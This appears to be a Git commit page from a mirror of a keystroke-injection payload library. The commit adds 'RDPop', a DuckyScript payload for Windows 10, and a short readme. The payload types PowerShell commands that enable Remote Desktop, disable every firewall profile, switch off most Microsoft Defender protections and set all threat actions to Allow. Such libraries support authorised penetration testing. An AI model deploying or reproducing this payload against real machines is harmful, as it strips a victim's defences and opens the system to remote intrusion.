hak5
/
omg-payloads
mirror of https://github.com/hak5/omg-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge 41e8a7ee22 into 483c8e239f

pull/234/merge
C08W38101 2024-10-07 22:03:10 +03:00 committed by GitHub
parent 483c8e239f 41e8a7ee22
commit 05e25fc8af
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
3 changed files with 26 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

24
payloads/library/general/rdpop/payload.txt Normal file
View File

@ -0,0 +1,24 @@
REM title RDPop
REM description removes restrictions and enables rdp, if given admin privileges
REM author C08W38101
REM target windows 10
DEFAULT_DELAY 500
GUI r
STRING powershell
ENTER
STRINGLN Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
STRINGLN Set-NetFirewallProfile -Enabled False
STRINGLN Set-MpPreference -DisableArchiveScanning 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -DisableBehaviorMonitoring 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -DisableIntrusionPreventionSystem 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -DisableIOAVProtection 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -DisableRemovableDriveScanning 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -DisableBlockAtFirstSeen 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -DisableScanningNetworkFiles 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -DisableScriptScanning 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -LowThreatDefaultAction Allow -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -ModerateThreatDefaultAction Allow -ErrorAction SilentlyContinue
STRINGLN Set-MpPreference -HighThreatDefaultAction Allow -ErrorAction SilentlyContinue
CTRL W

1
payloads/library/general/rdpop/placeholder Normal file
View File

@ -0,0 +1 @@

1
payloads/library/general/rdpop/readme.md Normal file
View File

@ -0,0 +1 @@
a payload I made without owning any gear, it enables rdp, disables firewall, and disables defender <sub>cob</sub><sup>web</sup>